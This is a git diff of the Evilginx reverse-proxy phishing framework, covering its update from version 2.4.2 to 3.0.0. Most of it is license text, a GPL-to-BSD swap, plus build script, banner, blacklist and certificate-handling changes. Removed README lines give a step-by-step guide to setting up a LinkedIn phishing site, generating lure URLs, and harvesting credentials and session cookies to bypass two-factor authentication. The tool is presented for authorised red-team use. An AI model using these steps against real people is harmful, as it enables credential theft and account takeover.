-(operated by you or a third party) that supports equivalent copying facilities,
-provided you maintain clear directions next to the object code saying where to find
-the Corresponding Source. Regardless of what server hosts the Corresponding Source,
-you remain obligated to ensure that it is available for as long as needed to satisfy
-these requirements.
-* **e)** Convey the object code using peer-to-peer transmission, provided you inform
-other peers where the object code and Corresponding Source of the work are being
-offered to the general public at no charge under subsection 6d.
-
-A separable portion of the object code, whose source code is excluded from the
-Corresponding Source as a System Library, need not be included in conveying the
-object code work.
-
-A “User Product” is either **(1)** a “consumer product”, which
-means any tangible personal property which is normally used for personal, family, or
-household purposes, or **(2)** anything designed or sold for incorporation into a
-dwelling. In determining whether a product is a consumer product, doubtful cases
-shall be resolved in favor of coverage. For a particular product received by a
-particular user, “normally used” refers to a typical or common use of
-that class of product, regardless of the status of the particular user or of the way
-in which the particular user actually uses, or expects or is expected to use, the
-product. A product is a consumer product regardless of whether the product has
-substantial commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
-“Installation Information” for a User Product means any methods,
-procedures, authorization keys, or other information required to install and execute
-modified versions of a covered work in that User Product from a modified version of
-its Corresponding Source. The information must suffice to ensure that the continued
-functioning of the modified object code is in no case prevented or interfered with
-solely because modification has been made.
-
-If you convey an object code work under this section in, or with, or specifically for
-use in, a User Product, and the conveying occurs as part of a transaction in which
-the right of possession and use of the User Product is transferred to the recipient
-in perpetuity or for a fixed term (regardless of how the transaction is
-characterized), the Corresponding Source conveyed under this section must be
-accompanied by the Installation Information. But this requirement does not apply if
-neither you nor any third party retains the ability to install modified object code
-on the User Product (for example, the work has been installed in ROM).
-
-The requirement to provide Installation Information does not include a requirement to
-continue to provide support service, warranty, or updates for a work that has been
-modified or installed by the recipient, or for the User Product in which it has been
-modified or installed. Access to a network may be denied when the modification itself
-materially and adversely affects the operation of the network or violates the rules
-and protocols for communication across the network.
-
-Corresponding Source conveyed, and Installation Information provided, in accord with
-this section must be in a format that is publicly documented (and with an
-implementation available to the public in source code form), and must require no
-special password or key for unpacking, reading or copying.
-
-### 7. Additional Terms
-
-“Additional permissions” are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions. Additional
-permissions that are applicable to the entire Program shall be treated as though they
-were included in this License, to the extent that they are valid under applicable
-law. If additional permissions apply only to part of the Program, that part may be
-used separately under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
-When you convey a copy of a covered work, you may at your option remove any
-additional permissions from that copy, or from any part of it. (Additional
-permissions may be written to require their own removal in certain cases when you
-modify the work.) You may place additional permissions on material, added by you to a
-covered work, for which you have or can give appropriate copyright permission.
-
-Notwithstanding any other provision of this License, for material you add to a
-covered work, you may (if authorized by the copyright holders of that material)
-supplement the terms of this License with terms:
-
-* **a)** Disclaiming warranty or limiting liability differently from the terms of
-sections 15 and 16 of this License; or
-* **b)** Requiring preservation of specified reasonable legal notices or author
-attributions in that material or in the Appropriate Legal Notices displayed by works
-containing it; or
-* **c)** Prohibiting misrepresentation of the origin of that material, or requiring that
-modified versions of such material be marked in reasonable ways as different from the
-original version; or
-* **d)** Limiting the use for publicity purposes of names of licensors or authors of the
-material; or
-* **e)** Declining to grant rights under trademark law for use of some trade names,
-trademarks, or service marks; or
-* **f)** Requiring indemnification of licensors and authors of that material by anyone
-who conveys the material (or modified versions of it) with contractual assumptions of
-liability to the recipient, for any liability that these contractual assumptions
-directly impose on those licensors and authors.
-
-All other non-permissive additional terms are considered “further
-restrictions” within the meaning of section 10. If the Program as you received
-it, or any part of it, contains a notice stating that it is governed by this License
-along with a term that is a further restriction, you may remove that term. If a
-license document contains a further restriction but permits relicensing or conveying
-under this License, you may add to a covered work material governed by the terms of
-that license document, provided that the further restriction does not survive such
-relicensing or conveying.
-
-If you add terms to a covered work in accord with this section, you must place, in
-the relevant source files, a statement of the additional terms that apply to those
-files, or a notice indicating where to find the applicable terms.
-
-Additional terms, permissive or non-permissive, may be stated in the form of a
-separately written license, or stated as exceptions; the above requirements apply
-either way.
-
-### 8. Termination
-
-You may not propagate or modify a covered work except as expressly provided under
-this License. Any attempt otherwise to propagate or modify it is void, and will
-automatically terminate your rights under this License (including any patent licenses
-granted under the third paragraph of section 11).
-
-However, if you cease all violation of this License, then your license from a
-particular copyright holder is reinstated **(a)** provisionally, unless and until the
-copyright holder explicitly and finally terminates your license, and **(b)** permanently,
-if the copyright holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
-Moreover, your license from a particular copyright holder is reinstated permanently
-if the copyright holder notifies you of the violation by some reasonable means, this
-is the first time you have received notice of violation of this License (for any
-work) from that copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
-Termination of your rights under this section does not terminate the licenses of
-parties who have received copies or rights from you under this License. If your
-rights have been terminated and not permanently reinstated, you do not qualify to
-receive new licenses for the same material under section 10.
-
-### 9. Acceptance Not Required for Having Copies
-
-You are not required to accept this License in order to receive or run a copy of the
-Program. Ancillary propagation of a covered work occurring solely as a consequence of
-using peer-to-peer transmission to receive a copy likewise does not require
-acceptance. However, nothing other than this License grants you permission to
-propagate or modify any covered work. These actions infringe copyright if you do not
-accept this License. Therefore, by modifying or propagating a covered work, you
-indicate your acceptance of this License to do so.
-
-### 10. Automatic Licensing of Downstream Recipients
-
-Each time you convey a covered work, the recipient automatically receives a license
-from the original licensors, to run, modify and propagate that work, subject to this
-License. You are not responsible for enforcing compliance by third parties with this
-License.
-
-An “entity transaction” is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an organization, or
-merging organizations. If propagation of a covered work results from an entity
-transaction, each party to that transaction who receives a copy of the work also
-receives whatever licenses to the work the party's predecessor in interest had or
-could give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if the predecessor
-has it or can get it with reasonable efforts.
-
-You may not impose any further restrictions on the exercise of the rights granted or
-affirmed under this License. For example, you may not impose a license fee, royalty,
-or other charge for exercise of rights granted under this License, and you may not
-initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging
-that any patent claim is infringed by making, using, selling, offering for sale, or
-importing the Program or any portion of it.
-
-### 11. Patents
-
-A “contributor” is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based. The work thus
-licensed is called the contributor's “contributor version”.
-
-A contributor's “essential patent claims” are all patent claims owned or
-controlled by the contributor, whether already acquired or hereafter acquired, that
-would be infringed by some manner, permitted by this License, of making, using, or
-selling its contributor version, but do not include claims that would be infringed
-only as a consequence of further modification of the contributor version. For
-purposes of this definition, “control” includes the right to grant patent
-sublicenses in a manner consistent with the requirements of this License.
-
-Each contributor grants you a non-exclusive, worldwide, royalty-free patent license
-under the contributor's essential patent claims, to make, use, sell, offer for sale,
-import and otherwise run, modify and propagate the contents of its contributor
-version.
-
-In the following three paragraphs, a “patent license” is any express
-agreement or commitment, however denominated, not to enforce a patent (such as an
-express permission to practice a patent or covenant not to sue for patent
-infringement). To “grant” such a patent license to a party means to make
-such an agreement or commitment not to enforce a patent against the party.
-
-If you convey a covered work, knowingly relying on a patent license, and the
-Corresponding Source of the work is not available for anyone to copy, free of charge
-and under the terms of this License, through a publicly available network server or
-other readily accessible means, then you must either **(1)** cause the Corresponding
-Source to be so available, or **(2)** arrange to deprive yourself of the benefit of the
-patent license for this particular work, or **(3)** arrange, in a manner consistent with
-the requirements of this License, to extend the patent license to downstream
-recipients. “Knowingly relying” means you have actual knowledge that, but
-for the patent license, your conveying the covered work in a country, or your
-recipient's use of the covered work in a country, would infringe one or more
-identifiable patents in that country that you have reason to believe are valid.
-
-If, pursuant to or in connection with a single transaction or arrangement, you
-convey, or propagate by procuring conveyance of, a covered work, and grant a patent
-license to some of the parties receiving the covered work authorizing them to use,
-propagate, modify or convey a specific copy of the covered work, then the patent
-license you grant is automatically extended to all recipients of the covered work and
-works based on it.
-
-A patent license is “discriminatory” if it does not include within the
-scope of its coverage, prohibits the exercise of, or is conditioned on the
-non-exercise of one or more of the rights that are specifically granted under this
-License. You may not convey a covered work if you are a party to an arrangement with
-a third party that is in the business of distributing software, under which you make
-payment to the third party based on the extent of your activity of conveying the
-work, and under which the third party grants, to any of the parties who would receive
-the covered work from you, a discriminatory patent license **(a)** in connection with
-copies of the covered work conveyed by you (or copies made from those copies), or **(b)**
-primarily for and in connection with specific products or compilations that contain
-the covered work, unless you entered into that arrangement, or that patent license
-was granted, prior to 28 March 2007.
-
-Nothing in this License shall be construed as excluding or limiting any implied
-license or other defenses to infringement that may otherwise be available to you
-under applicable patent law.
-
-### 12. No Surrender of Others' Freedom
-
-If conditions are imposed on you (whether by court order, agreement or otherwise)
-that contradict the conditions of this License, they do not excuse you from the
-conditions of this License. If you cannot convey a covered work so as to satisfy
-simultaneously your obligations under this License and any other pertinent
-obligations, then as a consequence you may not convey it at all. For example, if you
-agree to terms that obligate you to collect a royalty for further conveying from
-those to whom you convey the Program, the only way you could satisfy both those terms
-and this License would be to refrain entirely from conveying the Program.
-
-### 13. Use with the GNU Affero General Public License
-
-Notwithstanding any other provision of this License, you have permission to link or
-combine any covered work with a work licensed under version 3 of the GNU Affero
-General Public License into a single combined work, and to convey the resulting work.
-The terms of this License will continue to apply to the part which is the covered
-work, but the special requirements of the GNU Affero General Public License, section
-13, concerning interaction through a network will apply to the combination as such.
-
-### 14. Revised Versions of this License
-
-The Free Software Foundation may publish revised and/or new versions of the GNU
-General Public License from time to time. Such new versions will be similar in spirit
-to the present version, but may differ in detail to address new problems or concerns.
-
-Each version is given a distinguishing version number. If the Program specifies that
-a certain numbered version of the GNU General Public License “or any later
-version” applies to it, you have the option of following the terms and
-conditions either of that numbered version or of any later version published by the
-Free Software Foundation. If the Program does not specify a version number of the GNU
-General Public License, you may choose any version ever published by the Free
-Software Foundation.
-
-If the Program specifies that a proxy can decide which future versions of the GNU
-General Public License can be used, that proxy's public statement of acceptance of a
-version permanently authorizes you to choose that version for the Program.
-
-Later license versions may give you additional or different permissions. However, no
-additional obligations are imposed on any author or copyright holder as a result of
-your choosing to follow a later version.
-
-### 15. Disclaimer of Warranty
-
-THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
-EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER
-EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE
-QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE
-DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-### 16. Limitation of Liability
-
-IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY
-COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS
-PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL,
-INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
-PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE
-OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE
-WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-### 17. Interpretation of Sections 15 and 16
-
-If the disclaimer of warranty and limitation of liability provided above cannot be
-given local legal effect according to their terms, reviewing courts shall apply local
-law that most closely approximates an absolute waiver of all civil liability in
-connection with the Program, unless a warranty or assumption of liability accompanies
-a copy of the Program in return for a fee.
-
-_END OF TERMS AND CONDITIONS_
-
-## How to Apply These Terms to Your New Programs
-
-If you develop a new program, and you want it to be of the greatest possible use to
-the public, the best way to achieve this is to make it free software which everyone
-can redistribute and change under these terms.
-
-To do so, attach the following notices to the program. It is safest to attach them
-to the start of each source file to most effectively state the exclusion of warranty;
-and each file should have at least the “copyright” line and a pointer to
-where the full notice is found.
-
-
- Copyright (C)
-
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
-
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
-
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program does terminal interaction, make it output a short notice like this
-when it starts in an interactive mode:
-
- Copyright (C)
- This program comes with ABSOLUTELY NO WARRANTY; for details type 'show w'.
- This is free software, and you are welcome to redistribute it
- under certain conditions; type 'show c' for details.
-
-The hypothetical commands `show w` and `show c` should show the appropriate parts of
-the General Public License. Of course, your program's commands might be different;
-for a GUI interface, you would use an “about box”.
-
-You should also get your employer (if you work as a programmer) or school, if any, to
-sign a “copyright disclaimer” for the program, if necessary. For more
-information on this, and how to apply and follow the GNU GPL, see
-<>.
-
-The GNU General Public License does not permit incorporating your program into
-proprietary programs. If your program is a subroutine library, you may consider it
-more useful to permit linking proprietary applications with the library. If this is
-what you want to do, use the GNU Lesser General Public License instead of this
-License. But first, please read
-<>.
+Copyright (c) 2018-2023 Kuba Gretzky. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+ * Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above
+copyright notice, this list of conditions and the following disclaimer
+in the documentation and/or other materials provided with the
+distribution.
+ * Neither the name of Google Inc. nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/Makefile b/Makefile
index 5a8637ead..dbfa5318e 100644
--- a/Makefile
+++ b/Makefile
@@ -1,19 +1,12 @@
TARGET=evilginx
PACKAGES=core database log parser
-.PHONY: all
+.PHONY: all build clean
all: build
build:
- @go build -o ./bin/$(TARGET) -mod=vendor
+ @go build -o ./build/$(TARGET) -mod=vendor main.go
clean:
@go clean
- @rm -f ./bin/$(TARGET)
-
-install:
- @mkdir -p /usr/share/evilginx/phishlets
- @mkdir -p /usr/share/evilginx/templates
- @cp ./phishlets/* /usr/share/evilginx/phishlets/
- @cp ./templates/* /usr/share/evilginx/templates/
- @cp ./bin/$(TARGET) /usr/local/bin
+ @rm -f ./build/$(TARGET)
diff --git a/README.md b/README.md
index 6f59eabcd..326b73d05 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,9 @@
-**evilginx2** is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.
+# Evilginx 3.0
+
+**Evilginx** is a man-in-the-middle attack framework used for phishing login credentials along with session cookies, which in turn allows to bypass 2-factor authentication protection.
This tool is a successor to [Evilginx](https://github.com/kgretzky/evilginx), released in 2017, which used a custom version of nginx HTTP server to provide man-in-the-middle functionality to act as a proxy between a browser and phished website.
Present version is fully written in GO as a standalone application, which implements its own HTTP and DNS server, making it extremely easy to set up and use.
@@ -18,187 +20,45 @@ Present version is fully written in GO as a standalone application, which implem
I am very much aware that Evilginx can be used for nefarious purposes. This work is merely a demonstration of what adept attackers can do. It is the defender's responsibility to take such attacks into consideration and find ways to protect their users against this type of phishing attacks. Evilginx should be used only in legitimate penetration testing assignments with written permission from to-be-phished parties.
-## Write-up
-
-If you want to learn more about this phishing technique, I've published extensive blog posts about **evilginx2** here:
-
-[Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)
-
-[Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)
-
-[Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)
-
-[Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)
-
-[Evilginx 2.4 - Gone Phishing](https://breakdev.org/evilginx-2-4-gone-phishing/)
-
-## Video guide
-
-Take a look at the fantastic videos made by Luke Turvey ([@TurvSec](https://twitter.com/TurvSec)), which fully explain how to get started using **evilginx2**.
-
-[![How to phish for passwords and bypass 2FA - Luke Turvey](https://mrturvey.co.uk/wp-content/uploads/2020/12/Phishing-Bypass-2FA--1024x576.jpg)](https://mrturvey.co.uk/aiovg_videos/how-to-phish-for-passwords-and-bypass-2fa/)
-[![Creating custom phishlets for evilginx2 (2FA Bypass) - Luke Turvey](https://mrturvey.co.uk/wp-content/uploads/2020/12/Evilginx2-Phishlet-Creation-1024x576.jpg)](https://mrturvey.co.uk/aiovg_videos/creating-custom-phishlets-for-evilginx2-2fa-bypass/)
-
-## Phishlet Masters - Hall of Fame
-
-Please thank the following contributors for devoting their precious time to deliver us fresh phishlets! (in order of first contributions)
-
-[**@an0nud4y**](https://twitter.com/an0nud4y) - PayPal, TikTok, Coinbase, Airbnb
-
-[**@cust0msync**](https://twitter.com/cust0msync) - Amazon, Reddit
-
-[**@white_fi**](https://twitter.com/white_fi) - Twitter
-
-[**rvrsh3ll @424f424f**](https://twitter.com/424f424f) - Citrix
-
-[**audibleblink @4lex**](https://twitter.com/4lex) - GitHub
+## Evilginx Mastery Training Course
-[**@JamesCullum**](https://github.com/JamesCullum) - Office 365
+If you want everything about reverse proxy phishing with **Evilginx** - check out my [Evilginx Mastery](https://academy.breakdev.org/evilginx-mastery) course!
-## Installation
-
-You can either use a [precompiled binary package](https://github.com/kgretzky/evilginx2/releases) for your architecture or you can compile **evilginx2** from source.
-
-You will need an external server where you'll host your **evilginx2** installation. I personally recommend Digital Ocean and if you follow my referral link, you will [get an extra $10 to spend on servers for free](https://m.do.co/c/50338abc7ffe).
-
-Evilginx runs very well on the most basic Debian 8 VPS.
-
-#### Installing from source
-
-In order to compile from source, make sure you have installed **GO** of version at least **1.14.0** (get it from [here](https://golang.org/doc/install)).
-
-When you have GO installed, type in the following:
-
-```
-sudo apt-get -y install git make
-git clone https://github.com/kgretzky/evilginx2.git
-cd evilginx2
-make
-```
-
-You can now either run **evilginx2** from local directory like:
-```
-sudo ./bin/evilginx -p ./phishlets/
-```
-or install it globally:
-```
-sudo make install
-sudo evilginx
-```
-
-Instructions above can also be used to update **evilginx2** to the latest version.
-
-#### Installing with Docker
-
-You can launch **evilginx2** from within Docker. First build the image:
-```
-docker build . -t evilginx2
-```
-
-Then you can run the container:
-```
-docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2
-```
-
-Phishlets are loaded within the container at `/app/phishlets`, which can be mounted as a volume for configuration.
-
-#### Installing from precompiled binary packages
+
+
+
-Grab the package you want from [here](https://github.com/kgretzky/evilginx2/releases) and drop it on your box. Then do:
-```
-tar zxvf evilginx-linux-amd64.tar.gz
-cd evilginx
-```
+Learn everything about the latest methods of phishing, using reverse proxying to bypass Multi-Factor Authentication. Learn to think like an attacker, during your red team engagements, and become the master of phishing with Evilginx.
-If you want to do a system-wide install, use the install script with root privileges:
-```
-chmod 700 ./install.sh
-sudo ./install.sh
-sudo evilginx
-```
-or just launch **evilginx2** from the current directory (you will also need root privileges):
-```
-chmod 700 ./evilginx
-sudo ./evilginx
-```
+Grab it here:
+https://academy.breakdev.org/evilginx-mastery
-## Usage
+## Write-ups
-**IMPORTANT!** Make sure that there is no service listening on ports `TCP 443`, `TCP 80` and `UDP 53`. You may need to shutdown apache or nginx and any service used for resolving DNS that may be running. **evilginx2** will tell you on launch if it fails to open a listening socket on any of these ports.
+If you want to learn more about reverse proxy phishing, I've published extensive blog posts about **Evilginx** here:
-By default, **evilginx2** will look for phishlets in `./phishlets/` directory and later in `/usr/share/evilginx/phishlets/`. If you want to specify a custom path to load phishlets from, use the `-p ` parameter when launching the tool.
+[Evilginx 2.0 - Release](https://breakdev.org/evilginx-2-next-generation-of-phishing-2fa-tokens)
-By default, **evilginx2** will look for HTML temapltes in `./templates/` directory and later in `/usr/share/evilginx/templates/`. If you want to specify a custom path to load HTML templates from, use the `-t ` parameter when launching the tool.
+[Evilginx 2.1 - First Update](https://breakdev.org/evilginx-2-1-the-first-post-release-update/)
-```
-Usage of ./evilginx:
- -c string
- Configuration directory path
- -debug
- Enable debug output
- -developer
- Enable developer mode (generates self-signed certificates for all hostnames)
- -p string
- Phishlets directory path
- -t string
- HTML templates directory path
-```
+[Evilginx 2.2 - Jolly Winter Update](https://breakdev.org/evilginx-2-2-jolly-winter-update/)
-You should see **evilginx2** logo with a prompt to enter commands. Type `help` or `help ` if you want to see available commands or more detailed information on them.
+[Evilginx 2.3 - Phisherman's Dream](https://breakdev.org/evilginx-2-3-phishermans-dream/)
-## Getting started
+[Evilginx 2.4 - Gone Phishing](https://breakdev.org/evilginx-2-4-gone-phishing/)
-To get up and running, you need to first do some setting up.
+[Evilginx 3.0](https://breakdev.org/evilginx-3-0-evilginx-mastery/)
-At this point I assume, you've already registered a domain (let's call it `yourdomain.com`) and you set up the nameservers (both `ns1` and `ns2`) in your domain provider's admin panel to point to your server's IP (e.g. 10.0.0.1):
-```
-ns1.yourdomain.com = 10.0.0.1
-ns2.yourdomain.com = 10.0.0.1
-```
+## Help
-Set up your server's domain and IP using following commands:
-```
-config domain yourdomain.com
-config ip 10.0.0.1
-```
-
-Now you can set up the phishlet you want to use. For the sake of this short guide, we will use a LinkedIn phishlet. Set up the hostname for the phishlet (it must contain your domain obviously):
-```
-phishlets hostname linkedin my.phishing.hostname.yourdomain.com
-```
-
-And now you can `enable` the phishlet, which will initiate automatic retrieval of LetsEncrypt SSL/TLS certificates if none are locally found for the hostname you picked:
-```
-phishlets enable linkedin
-```
-
-Your phishing site is now live. Think of the URL, you want the victim to be redirected to on successful login and get the phishing URL like this (victim will be redirected to `https://www.google.com`):
-```
-lures create linkedin
-lures edit 0 redirect_url https://www.google.com
-lures get-url 0
-```
-
-Running phishlets will only respond to phishing links generating for specific lures, so any scanners who scan your main domain will be redirected to URL specified as `redirect_url` under `config`. If you want to hide your phishlet and make it not respond even to valid lure phishing URLs, use `phishlet hide/unhide ` command.
-
-You can monitor captured credentials and session cookies with:
-```
-sessions
-```
+In case you want to learn how to install and use **Evilginx**, please refer to online documentation available at:
-To get detailed information about the captured session, with the session cookie itself (it will be printed in JSON format at the bottom), select its session ID:
-```
-sessions
-```
-
-The captured session cookie can be copied and imported into Chrome browser, using [EditThisCookie](https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=en) extension.
-
-**Important!** If you want **evilginx2** to continue running after you log out from your server, you should run it inside a `screen` or `tmux` session.
+https://help.evilginx.com
## Support
-I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. There are many phishlets provided as examples, which you can use to create your own.
+I DO NOT offer support for providing or creating phishlets. I will also NOT help you with creation of your own phishlets. Please look for ready-to-use phishlets, provided by other people.
## License
-**evilginx2** is made by Kuba Gretzky ([@mrgretzky](https://twitter.com/mrgretzky)) and it's released under GPL3 license.
+**evilginx2** is made by Kuba Gretzky ([@mrgretzky](https://twitter.com/mrgretzky)) and it's released under BSD-3 license.
diff --git a/build.bat b/build.bat
new file mode 100644
index 000000000..41ad04342
--- /dev/null
+++ b/build.bat
@@ -0,0 +1,4 @@
+@echo off
+set GOARCH=amd64
+echo Building...
+go build -o .\build\evilginx.exe -mod=vendor
diff --git a/build_run.bat b/build_run.bat
new file mode 100644
index 000000000..883416821
--- /dev/null
+++ b/build_run.bat
@@ -0,0 +1,4 @@
+@echo off
+set GOARCH=amd64
+echo Building...
+go build -o .\build\evilginx.exe -mod=vendor && cls && .\build\evilginx.exe -p ./phishlets -t ./redirectors -developer -debug
diff --git a/core/banner.go b/core/banner.go
index f00bc9d67..fcde76a66 100644
--- a/core/banner.go
+++ b/core/banner.go
@@ -8,7 +8,7 @@ import (
)
const (
- VERSION = "2.4.2"
+ VERSION = "3.0.0"
)
func putAsciiArt(s string) {
@@ -55,8 +55,8 @@ func printLogo(s string) {
}
func printUpdateName() {
- nameClr := color.New(color.FgHiRed)
- txt := nameClr.Sprintf(" - -- Gone Phishing -- -")
+ nameClr := color.New(color.FgHiWhite)
+ txt := nameClr.Sprintf(" - -- Community Edition -- -")
fmt.Fprintf(color.Output, "%s", txt)
}
diff --git a/core/blacklist.go b/core/blacklist.go
index f2970dd19..34a6958a7 100644
--- a/core/blacklist.go
+++ b/core/blacklist.go
@@ -10,12 +10,6 @@ import (
"github.com/kgretzky/evilginx2/log"
)
-const (
- BLACKLIST_MODE_FULL = 0
- BLACKLIST_MODE_UNAUTH = 1
- BLACKLIST_MODE_OFF = 2
-)
-
type BlockIP struct {
ipv4 net.IP
mask *net.IPNet
@@ -25,7 +19,7 @@ type Blacklist struct {
ips map[string]*BlockIP
masks []*BlockIP
configPath string
- mode int
+ verbose bool
}
func NewBlacklist(path string) (*Blacklist, error) {
@@ -38,7 +32,7 @@ func NewBlacklist(path string) (*Blacklist, error) {
bl := &Blacklist{
ips: make(map[string]*BlockIP),
configPath: path,
- mode: BLACKLIST_MODE_OFF,
+ verbose: true,
}
fs := bufio.NewScanner(f)
@@ -71,10 +65,14 @@ func NewBlacklist(path string) (*Blacklist, error) {
}
}
- log.Info("blacklist: loaded %d ip addresses or ip masks", len(bl.ips)+len(bl.masks))
+ log.Info("blacklist: loaded %d ip addresses and %d ip masks", len(bl.ips), len(bl.masks))
return bl, nil
}
+func (bl *Blacklist) GetStats() (int, int) {
+ return len(bl.ips), len(bl.masks)
+}
+
func (bl *Blacklist) AddIP(ip string) error {
if bl.IsBlacklisted(ip) {
return nil
@@ -118,3 +116,11 @@ func (bl *Blacklist) IsBlacklisted(ip string) bool {
}
return false
}
+
+func (bl *Blacklist) SetVerbose(verbose bool) {
+ bl.verbose = verbose
+}
+
+func (bl *Blacklist) IsVerbose() bool {
+ return bl.verbose
+}
diff --git a/core/certdb.go b/core/certdb.go
index bec6dc9ff..849f94969 100644
--- a/core/certdb.go
+++ b/core/certdb.go
@@ -1,7 +1,7 @@
package core
import (
- "crypto"
+ "context"
"crypto/rand"
"crypto/rsa"
"crypto/tls"
@@ -13,114 +13,104 @@ import (
"math/big"
"os"
"path/filepath"
+ "strings"
"time"
"github.com/kgretzky/evilginx2/log"
- "github.com/go-acme/lego/v3/certcrypto"
- "github.com/go-acme/lego/v3/certificate"
- "github.com/go-acme/lego/v3/challenge"
- "github.com/go-acme/lego/v3/lego"
- legolog "github.com/go-acme/lego/v3/log"
- "github.com/go-acme/lego/v3/registration"
+ "github.com/caddyserver/certmagic"
)
-const HOSTS_DIR = "hosts"
-
type CertDb struct {
- PrivateKey *rsa.PrivateKey
- CACert tls.Certificate
- client *lego.Client
- certUser CertUser
- dataDir string
- ns *Nameserver
- hs *HttpServer
- cfg *Config
- hostCache map[string]*tls.Certificate
- phishletCache map[string]map[string]*tls.Certificate
- tls_cache map[string]*tls.Certificate
- httpChallenge *HTTPChallenge
+ cache_dir string
+ magic *certmagic.Config
+ cfg *Config
+ ns *Nameserver
+ caCert tls.Certificate
+ tlsCache map[string]*tls.Certificate
}
-type CertUser struct {
- Email string
- Registration *registration.Resource
- key crypto.PrivateKey
-}
+func NewCertDb(cache_dir string, cfg *Config, ns *Nameserver) (*CertDb, error) {
+ os.Setenv("XDG_DATA_HOME", cache_dir)
-func (u CertUser) GetEmail() string {
- return u.Email
-}
+ o := &CertDb{
+ cache_dir: cache_dir,
+ cfg: cfg,
+ ns: ns,
+ tlsCache: make(map[string]*tls.Certificate),
+ }
-func (u CertUser) GetRegistration() *registration.Resource {
- return u.Registration
-}
+ certmagic.DefaultACME.Agreed = true
+ certmagic.DefaultACME.Email = o.GetEmail()
-func (u CertUser) GetPrivateKey() crypto.PrivateKey {
- return u.key
-}
-type HTTPChallenge struct {
- crt_db *CertDb
-}
+ err := o.generateCertificates()
+ if err != nil {
+ return nil, err
+ }
+ err = o.reloadCertificates()
+ if err != nil {
+ return nil, err
+ }
-func (ch HTTPChallenge) Present(domain, token, keyAuth string) error {
- ch.crt_db.hs.AddACMEToken(token, keyAuth)
- return nil
-}
+ o.magic = certmagic.NewDefault()
-func (ch HTTPChallenge) CleanUp(domain, token, keyAuth string) error {
- ch.crt_db.hs.ClearACMETokens()
- return nil
+ return o, nil
}
-const acmeURL = "https://acme-v02.api.letsencrypt.org/directory"
+func (o *CertDb) GetEmail() string {
+ var email string
